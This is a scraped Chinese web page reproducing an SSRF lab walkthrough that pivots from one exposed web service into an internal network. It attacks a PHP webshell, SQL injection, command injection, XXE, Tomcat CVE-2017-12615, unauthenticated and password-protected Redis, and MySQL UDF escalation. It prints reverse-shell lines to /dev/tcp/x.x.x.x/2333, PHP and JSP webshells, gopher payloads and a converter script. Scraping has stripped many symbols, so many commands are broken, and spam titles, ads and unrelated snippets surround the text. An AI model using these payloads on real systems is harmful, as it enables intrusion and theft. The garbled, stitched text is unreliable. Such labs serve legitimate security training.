北京网站优化效果怎样网站开发到上线

张小明 2026/1/10 0:51:06
北京网站优化效果怎样,网站开发到上线,装饰装修工程,免费的静态网站托管靶场拓扑设计 首先来看下本次靶场的设计拓扑图#xff1a; 先理清一下攻击流程#xff0c;172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞#xff0c;并且 80 端口映射到了公网的 8080#xff0c;此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内…靶场拓扑设计首先来看下本次靶场的设计拓扑图先理清一下攻击流程172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞并且 80 端口映射到了公网的 8080此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。本场景基本上覆盖了 SSRF 常见的攻击场景实际上 SSRF 还可以攻击 FTP、Zabbix、Memcached 等应用由于时间和精力有限先挖个坑以后有机会的话再补充完善这套 SSRF 攻击场景的。x.x.x.x:8080 - 判断 SSRF 是否存在能够对外发起网络请求的地方就可能存在 SSRF。首先看下目标站点的功能获取站点快照先尝试获取外网 URL 试试看测试一下经典的 百度 robots.txt测试成功网站请求了 Baidu 的 robots.txt 文件了并将请求页面的内容回显到了网站前端中。那么接下来尝试获取内网 URL 看看测试请求 127.0.0.1 看看会有什么反应测试依然成功网站请求了 127.0.0.1 的 80 端口 也就是此可我们浏览的界面所以我们就看到了图片上的“套娃”现象。 通过以上两次请求已经基本上可以确定这个输入框就是传说中的 SSRF 的漏洞点了即没有对用户的输入进行过滤导致可以用来发起任意的内网或者外网的请求。172.72.23.21 - SSRF 获取本地信息既然当前站点存在 SSRF 的话我们可以尝试配合 file 协议来读取本地的文件信息首先尝试使用 file 协议来读取 /etc/passwd 文件试试看file:///etc/passwd成功读取到了本地的文件信息现在尝试来获取存在 SSRF 漏洞的本机内网 IP 地址信息确认当前资产的网段信息file:///etc/hosts可以判断当前机器的内网地址为 172.23.23.21那么接下来就可以对这个内网资产段进行信息收集了。权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况172.72.23.1/24 - SSRF 探测内网端口SSRF 常配合 DICT 协议探测内网端口开放情况但不是所有的端口都可以被探测一般只能探测出一些带 TCP 回显的端口具体可以探测哪些端口需要大家自己动手去测试一下BP 下使用迭代器模式爆破设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息通过爆破可以轻易地整理出端口的开放情况172.72.23.21-80172.72.23.22-80172.72.23.23-80、3306172.72.23.24-80172.72.23.25-80172.72.23.26-8080172.72.23.27-6379172.72.23.28-6379172.72.23.29-3306对照下拓扑图端口开放信息都是一一匹配的信息收集完毕那么接下来就开始只使用最外部的 SSRF 来打穿内网吧。除了使用 DICT 协议探测端口以外还可以使用正常的 HTTP 协议获取到内网中 Web 应用的信息情况这里就不再赘述了。172.72.23.22 - 代码注入代码注入应用详情本版块属于上帝视角主要作用是给读者朋友们展示一下应用本身正常的功能点情况这样后面直接使用 SSRF 来攻击的话思路就会更加清晰明了。index.php一个正常的提示页面啥都没有phpinfo.php凑数勉强算是一个敏感文件吧shell.php一个经典的 system 一句话木马SSRF 之目录扫描如果想要利用 SSRF 漏洞对内网 Web 资产进行目录扫描的话使用传统的 dirsearch 等工具就不是很方便了国光在这种场景下使用的是 Burpsuite 抓包然后导入字典批量遍历路径参数请求包如下使用 Burpsuite 自带的 Grep - Extract 可以快速地筛选页面正则匹配的结果很明显这个 172.72.23.22 的内网站点下面还存在着 phpinfo.php 和 shell.phpSSRF 之代码注入因为这个一句话 webshell 使用了 GET 来接受请求所以可以直接使用 SSRF 的 HTTP 协议来发起 GET 请求直接给 cmd 参数传入命令值导致命令直接执行使用浏览器提交请求的话空格得写成%20才可以顺利执行命令 从 hosts 文件的结果可以看出当前我们已经拿下了内网 172.72.23.22 这台机器的权限了。如果从 BP 里面抓包请求的话空格得写成%2520即两次 URL 编码才可以顺利执行命令172.72.23.23 - SQL 注入SQL 注入应用详情本版块属于上帝视角主要作用是给读者朋友们展示一下应用本身正常的功能点情况这样后面直接使用 SSRF 来攻击的话思路就会更加清晰明了。基础的联合查询注入可以直接带出数据库的相关信息同时也预设了一个 flag同样通过联合查询也可以简单的查询出 flag 的值因为管理员国光不小心故意给网站目录设置了 777 权限所以这里可以尝试通过 MySQL 的INTO DUMPFILE直接往网站的目录下写 shell最终借助 SQL 注入的 UNION 注入来执行写shell 的 SQL 语句 payload 如下成功写 shell 后浏览器直接访问执行命令看看SSRF 之 SQL 注入利用 SSRF 来注入内网中存在 SQLI 的资产的话和上一个小节的 GET 型注入差不多只要注意一些编码细节即可。SSRF 之基础的联合查询注入可以直接带出数据库的相关信息和正常注入差不多只需要将空格进行两次 URL 编码即可同理直接注入出数据库中的 flag往网站的目录写通过 SQL 语句来写 shell写入 shell 成功后尝试直接来命令执行172.72.23.24 - 命令执行命令执行应用详情本版块属于上帝视角主要作用是给读者朋友们展示一下应用本身正常的功能点情况这样后面直接使用 SSRF 来攻击的话思路就会更加清晰明了。172.72.23.24 是一个经典的命令执行通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数从而导致任意命令执行SSRF 之命令执行这种场景和之前的攻击场景稍微不太一样之前的代码注入和 SQL 注入都是直接通过 GET 方式来传递参数进行攻击的但是这个命令执行的场景是通过 POST 方式触发的我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了gopher 的基本请求格式如下gopher 协议是一个古老且强大的协议从请求格式可以看出来可以传递最底层的 TCP 数据流因为 HTTP 协议也是属于 TCP 数据层的所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。首先来抓取正常情况下 POST 请求的数据包删除掉 HTTP 请求的这一行Accept-Encoding:gzip,deflate如果不删除的话打出的 SSRF 请求会乱码因为被两次 gzip 编码了。接着在 Burpsuite 中将本 POST 数据包进行两次 URL 编码两次 URL 编码后的数据就最终的 TCP 数据流最终 SSRF 完整的攻击请求的 POST 数据包如下可以看到通过 SSRF 成功攻击了 172.72.23.24 的命令执行 Web 应用顺利执行了cat /etc/hosts的命令172.72.23.25 - XML 实体注入XXE 应用详情本版块属于上帝视角主要作用是给读者朋友们展示一下应用本身正常的功能点情况这样后面直接使用 SSRF 来攻击的话思路就会更加清晰明了。本场景是一个基础的 XXE 外部实体注入场景登录的时候用户提交的 XML 数据且服务器后端对 XML 数据解析并将结果输出所以可以构造一个 XXE 读取本地的敏感信息下面是 XXE 攻击的效果图我给大家准备了一份全套的《网络安全入门进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程需要的小伙伴可以扫描下方二维码或链接免费领取~SSRF 之 XXE和上一个场景 172.72.23.24 的命令执行类似这里 XXE 也是通过在 POST 数据包里面构造 Payload 来进行攻击的所以依然先来抓取正常情况下 XXE 攻击的 POST 请求的数据包删除掉Accept-Encoding这一行然后使用 Burpsuite 对 POST 数据包进行两次 URL 编码两次 URL 编码后的数据就最终的 TCP 数据流最终 SSRF 完整的攻击请求的 POST 数据包如下可以看到通过 SSRF 成功攻击了 172.72.23.25 的 XXE Web 应用顺利执行了cat /etc/hosts的命令172.72.23.26 - CVE-2017-12615Tomcat 应用详情本场景是一个 Tomcat 中间件存在 CVE-2017-12615 任意写文件漏洞这在 Tomcat 漏洞历史中也是比较经典第一个国光这里不再赘述没有复现的同学可以参考 vulhub 的靶场来复现次漏洞Tomcat PUT方法任意写文件漏洞CVE-2017-12615SSRF 之 CVE-2017-12615和之前的场景类似国光这里不再赘述了所以这部分写的比较简略一些。准备一个 JSP 一句话%Stringcommandrequest.getParameter(cmd);if(command!null){java.io.InputStream inRuntime.getRuntime().exec(command).getInputStream();inta-1;byte[]bnewbyte[2048];out.print();while((ain.read(b))!-1){out.println(newString(b));}out.print();}else{out.print(format: xxx.jsp?cmdCommand);}%将原本攻击的 POST 数据包将个 POST 请求二次 URL 编码最后通过 SSRF 发起这个 POST 请求返回 201 状态码表示成功写 shell接着通过 SSRF 发起对 shell.jsp 的 HTTP 请求成功执行了cat /etc/hosts的命令172.72.23.27 - Redis 未授权Redis unauth 应用详情内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务系统没有 Web 服务无法写 Shell无 SSH 公私钥认证无法写公钥所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下# 清空 keyflushall# 设置要操作的路径为定时任务目录config set dir/var/spool/cron/# 设置定时任务角色为 rootconfig set dbfilename root# 设置定时任务内容set x\n* * * * * /bin/bash -i /dev/tcp/x.x.x.x/2333 01\n# 保存操作saveSSRF 之 Redis unauthSSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击因为 gopher 协议构造比较繁琐所以本场景建议直接使用 DICT 协议来攻击效率会高很多DICT 协议除了可以探测端口以外另一个奇技淫巧就是攻击未授权的 Redis 服务格式如下dict://x.x.x.x:6379/Redis 命令通过 SSRF 直接发起 DICT 请求可以成功看到 Redis 返回执行完 info 命令后的结果信息下面开始直接使用 dict 协议来创建定时任务来反弹 Shell# 清空 keydict://172.72.23.27:6379/flushall# 设置要操作的路径为定时任务目录dict://172.72.23.27:6379/config set dir /var/spool/cron/# 在定时任务目录下创建 root 的定时任务文件dict://172.72.23.27:6379/config set dbfilename root# 写入 Bash 反弹 shell 的 payloaddict://172.72.23.27:6379/set x \n* * * * * /bin/bash -i %26 /dev/tcp/x.x.x.x/2333 0%261\n# 保存上述操作dict://172.72.23.27:6379/saveSSRF 传递的时候记得要把URL 编码为%26上面的操作最好再 BP 下抓包操作防止浏览器传输的时候被 URL 打乱编码在目标系统上创建定时任务后shell 也弹了出来查看下cat /etc/hosts的确是 172.72.23.27 这台内网机器172.72.23.28 - Redis 有认证Redis auth 应用详情本版块属于上帝视角主要作用是给读者朋友们展示一下应用本身正常的功能点情况这样后面直接使用 SSRF 来攻击的话思路就会更加清晰明了。该 172.72.23.28 主机运行着 Redis 服务但是有密码验证无法直接未授权执行命令不过除了 6379 端口还开放了 80 端口是一个经典的 LFI 本地文件包含可以利用此来读取本地的文件内容因为 Redis 密码记录在 redis.conf 配置文件中结合这个文件包含漏洞点那么这时来尝试借助文件包含漏洞来读取 redis 的配置文件信息Redis 常见的配置文件路径如下/etc/redis.conf/etc/redis/redis.conf/usr/local/redis/etc/redis.conf/opt/redis/ect/redis.conf成功读取到/etc/redis.conf配置文件直接搜索requirepass关键词来定位寻找密码拿到密码的话就可以正常和 Redis 进行交互了SSRF 之 Redis auth首先借助目标系统的 80 端口上的文件包含拿到 Redis 的密码Pssw0rd有密码的话先使用 dict 协议进行密码认证看看但是因为 dict 不支持多行命令的原因这样就导致认证后的参数无法执行所以 dict 协议理论上来说是没发攻击带认证的 Redis 服务的。那么只能使用我们的老伙计 gopher 协议了gopher 协议因为需要原生数据包所以我们需要抓取到 Redis 的请求数据包。可以使用 Linux 自带的 socat 命令来进行本地的模拟抓取命令来进行本地的模拟抓取socat-v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379此时使用 redis-cli 连接本地的 4444 端口➜~redis-cli-h127.0.0.1-p4444127.0.0.1:4444服务器接着会把 4444 端口的流量接受并转发给服务器的 6379 端口然后认证后进行往网站目录下写入 shell 的操作# 认证 redis127.0.0.1:4444authPssw0rdOK# 清空 key127.0.0.1:4444flushall# 设置要操作的路径为网站根目录127.0.0.1:4444config set dir/var/www/html# 在网站目录下创建 shell.php 文件127.0.0.1:4444config set dbfilename shell.php# 设置 shell.php 的内容127.0.0.1:4444set x\n?php eval($_GET[1]);?\n# 保存上述操作127.0.0.1:4444save与此同时我们还可以看到详细的数据包情况下面来记录一下关键的流量情况可以看到 Redis 的流量并不难理解可以根据上图橙色标记的注释来理解一下接下来整理出关键的请求数据包如下*2\r$4\rauth\r$8\rPssw0rd\r*1\r$8\r flushall\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$13\r/var/www/html\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$9\r shell.php\r*3\r$3\rset\r$1\rx\r$25\r?phpeval($_GET[1]);?\r*1\r$4\r save\r可以看到每行都是以\r结尾的但是 Redis 的协议是以 CRLF (\r\n)结尾所以转换的时候需要把\r转换为\r\n然后其他全部进行 两次 URL 编码这里借助 BP 就很容易解决最后放到 SSRF 的漏洞点进行请求执行成功的话会在 /var/www/html 根目录下写入 shell.php 文件密码为 1那么下面借助 SSRF 漏洞来试试看http://172.23.23.28/shell.php?1phpinfo();成功 getshell那么消化吸收一下下面尝试使用 SSRF 来攻击 MySQL 服务吧。172.72.23.29 - MySQL 未授权MySQL 应用详情MySQL 空密码可以登录靶场在数据库下和系统下各放了一个 flag通过 SSRF 可以和数据库进行交互SSRF 进行 UDF 提权可以拿到系统下的 flagSSRF 之 MySQL 未授权获取原始数据包MySQL 需要密码认证时服务器先发送 salt 然后客户端使用 salt 加密密码然后验证但是当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包所以还是和攻击 Redis 应用一样这里我们使用 tcpdump 来监听抓取 3306 的认证的原始数据包# lo 回环接口网卡 -w 报错 pcapng 数据包tcpdump-i lo port3306-w mysql.pcapng然后本地使用 MySQL 来执行一些测试命令$ mysql-h127.0.0.1-uroot-eselect * from flag.test union select user(),www.sqlsec.com;--------------------------------------------------------|id|flag|--------------------------------------------------------|1|flag{71***************************316}||root127.0.0.1|www.sqlsec.com|--------------------------------------------------------中止 tcpdump 使用 Wireshark 打开mysql.pcapng数据包追踪 TCP 流 然后过滤出发给 3306 的数据保存为原始数据「Show data asRaw」并且整理成 1 行a100000185a23f0000000001080000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f72640064035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f706964033530380f5f636c69656e745f76657273696f6e06352e362e3531095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420313d0000000373656c656374202a2066726f6d20666c61672e7465737420756e696f6e2073656c656374207573657228292c277777772e73716c7365632e636f6d270100000001生成 gopher 数据流然后使用如下的 Python3 脚本将数据转化为 url 编码import sys defresults(s):a[s[i:i2]fori inrange(0,len(s),2)]returncurl gopher://127.0.0.1:3306/_%%.join(a)if__name____main__:ssys.argv[1]print(results(s))运行效果如下SSRF 之 查询数据库本地 curl 请求这个 gopher 协议的数据包看看从图上可以看到 gopher 请求的数据包已经成功执行了user() 和 数据库中的 flag 都可查询出来了。如果 curl 请求提示是一个二进制文件无法直接显示所可以使用--output来输出到文件中然后手动 cat 文件同样也可以看到gopher 协议交互 MySQL 的执行结果$ curlgopher://127.0.0.1:3306/_xxx --output mysql_resultSSRF 之 MySQL 提权SSRF 攻击 MySQL 仅仅查询数据意义不大不如直接 UDF 提权然后反弹 shell 出来更加直接下面尝试使用 SSRF 来 UDF 提权内网的 MySQL 应用关于 MySQL 更详细的文章可以参考我之前MySQL 漏洞利用与提权 MySQL 漏洞利用与提权 。首先来寻找 MySQL 的插件目录原生的 MySQL 命令如下$ mysql-h127.0.0.1-uroot-eshow variables like %plugin%;tcpdump 监听使用 Wirshark 分析导出原始数据使用脚本将原始数据转换 gopher 协议得到的数据如下curlgopher://127.0.0.1:3306/_%a2%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%65%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%33%35%35%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%20%00%00%00%03%73%68%6f%77%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%0a%27%25%70%6c%75%67%69%6e%25%27%01%00%00%00%01放入到 BP 中请求的话记得需要二次 URL 编码可以直接获取到插件的目录信息 :拿到 MySQL 的插件目录为/usr/lib/mysql/plugin/接着来写入动态链接库原生的 MySQL 命令如下# 因为 payload 太长 这里就先进入 MySQL 控制台$ mysql-h127.0.0.1-uroot MariaDB[(none)]SELECT0x7f454c460...省略大量payload...0000000INTODUMPFILE/usr/lib/mysql/plugin/udf.so;关于 UDF 提权的 UDF 命令可以参考国光写的这个 UDF 提权辅助页面MySQL UDF 提权十六进制查询 | 国光tcpdump 监听到的原始数据后转换 gopher 协议SSRF 攻击写入动态链接库因为这个 gopher 协议的数据包非常长BP 这边可能会出现 Waiting 卡顿的状态不过问题不大实际上 udf.so 已经成功写入到 MySQL 的插件目录下了以此类推创建自定义函数$ mysql-h127.0.0.1-uroot-eCREATE FUNCTION sys_eval RETURNS STRING SONAME udf.so;最后通过创建的自定义函数并执行系统命令将 shell 弹出来原生命令如下$ mysql-h127.0.0.1-uroot-eselect sys_eval(echo YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDAJjE|base64 -d|bash -i)因为国光测试默认情况下弹不出来所以这里将原始的 bash 反弹 shell 命令给编码了这个编码实际上就是 JS Base64 一下国光我模仿国外的那个网站自己写了个页面安全小公举 | 国光tcpdump 监听到的原始数据后转换 gopher 协议BP 二次编码请求一下然后 SSRF 攻击成功弹出 shell网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

网站注册 英文怎样能在百度上搜索到自己的店铺

终极指南:使用my2sql轻松搞定MySQL数据恢复 【免费下载链接】my2sql 解析MySQL binlog ,可以生成原始SQL、回滚SQL、去除主键的INSERT SQL等,也可以生成DML统计信息以及大事务分析信息。 项目地址: https://gitcode.com/gh_mirrors/my/my2s…

张小明 2026/1/9 17:31:40 网站建设

vp代理商网站管理系统深圳互联网公司集中在哪个区

Webflow无代码建站:搭建Fun-ASR官网 在AI工具日益普及的今天,如何让一个技术能力强大的语音识别系统被更多人“看见”并“用起来”,成了开发者面临的关键挑战。通义实验室与钉钉联合推出的 Fun-ASR,作为一款基于大模型的高性能语音…

张小明 2026/1/9 17:31:41 网站建设

做网站服务器有哪些网站建设的出路

在AI编程工具快速发展的当前阶段,企业面临着"高性能必然高成本"的行业困境。Kwaipilot团队推出的KAT-Dev-FP8开源编程模型,通过创新的FP8量化技术,在保持62.4% SWE-bench Verified解决率的同时,将企业部署成本降低60%&a…

张小明 2026/1/9 17:31:40 网站建设

云南城市建设官方网站塘厦网站建设公司

ComfyUI自定义组件封装GLM-4.6V-Flash-WEB调用逻辑 在如今多模态AI应用爆发式增长的背景下,图文理解、视觉问答和内容生成等任务早已不再是实验室里的概念,而是真实落地于智能客服、教育辅助、内容审核乃至创意设计中的核心能力。然而,对于大…

张小明 2026/1/9 17:31:43 网站建设

洛阳做网站推广阿里巴巴外发加工网手工

Qwen3-4B实测:40亿参数模型如何玩转思维切换? 【免费下载链接】Qwen3-4B Qwen3-4B,新一代大型语言模型,集稠密和混合专家(MoE)模型于一体。突破性提升推理、指令遵循、代理能力及多语言支持,自如…

张小明 2026/1/9 17:31:42 网站建设

成都 网站原创网络营销是什么专学科

各类资料学习下载合集 链接:https://pan.quark.cn/s/7c8c391011eb 在多线程编程中,生产者-消费者模型是解决并发问题的“圣杯”。之前我们可能接触过用条件变量来实现,但今天我们要换一种更直观、更适合计数场景的工具——信号量(Semaphore)。 本文将基于课堂笔记,带你…

张小明 2026/1/9 17:31:44 网站建设